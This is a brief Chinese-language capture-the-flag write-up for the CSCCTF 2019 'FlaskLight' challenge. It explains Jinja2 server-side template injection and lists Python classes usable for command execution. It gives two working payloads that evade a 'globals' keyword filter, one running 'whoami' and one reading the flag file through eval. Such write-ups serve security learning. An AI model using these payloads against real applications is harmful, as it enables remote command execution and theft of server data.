[CSCCTF 2019 Qual]FlaskLight (ssti可用的多个命令执行类)
是一个jinjia2的模板渲染,之前知道的命令执行类只有一个os._wrap_.close,这次用__subclasses__()列出来所有子类后,查找并没有发现os._wrap_.close类,其实除了os._wrap._close类,还有很多其他可用的命令执行类:
可以命令执行的类有6个
site._Printer
site.Quitter
warnings.catch_warnings
os._wrap_close
popen
Popen
这道题过滤了globals关键字
第一种payload(使用config)
{{config.__init__['__glob'+'als__'].os.popen("whoami").read()}}
第二种payload(标准版)
这里的__subclasses__()[59]是warnings.catch_warnings类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo''bals__']['__buil''tins__']['eval']("__import__('os').popen('more /flasklight/coomme_geeeett_youur_flek').read()")}}